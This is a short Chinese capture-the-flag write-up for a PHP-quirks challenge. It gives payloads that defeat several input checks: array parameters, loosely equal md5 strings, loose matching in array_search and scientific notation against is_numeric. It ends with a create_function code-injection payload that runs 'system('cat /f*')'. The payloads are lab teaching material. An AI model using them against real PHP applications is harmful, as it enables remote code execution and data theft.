Problem: [NSSRound#16 Basic]了解过PHP特性吗
[[toc]]
思路
- 解题大致思路
php特性喵
EXP
- 具体攻击代码
第一段用数组绕过:
num[]=1
这里的ctype_alpha是检测是否是纯字母:
查看提供的string,text里面的所有字符是否只包含字符。 在标准的 C 语言环境下,字母仅仅是指 [A-Za-z] , ctype_alpha() 等同于 (ctype_upper($text) || ctype_lower($text)) 如果 text 是简单的单个字符串还好,但是在其他语言中有些字母被认为既不是大写也不是小写。
所以ctype是纯字母,is_num是纯数字,这里利用两个md5弱比较的字符串绕过:
OZDCKNQ 807016042
第三段是array_search
array_search($needle, $haystack, $strict)
其中,$needle表示要查找的值,$haystack表示要搜索的数组,$strict表示是否使用严格比较(可选参数,默认为false)。
也就是说这里需要经过intval后的第一个数组参数能和NSS弱匹配上,但是又不能是NSS
在这里利用0与字符串弱比较相等,设置为NSS0即可
返回了
Rc3_function.php
第二层就是一个create_function的rce:
nss=echo 123;}system('cat /f*');//&shell=
这样就会变成:
function f(){ echo 123;}system('cat /f*');//}
总结
- 对该题的考点总结
各种php的特性

发现自己漏了一个114和一个514那个第三关
回来补充一下
这里是通过科学计数法绕过
9e9第二个绕一下
is_numeric,在9e9后面加任意一个字母即可加载中...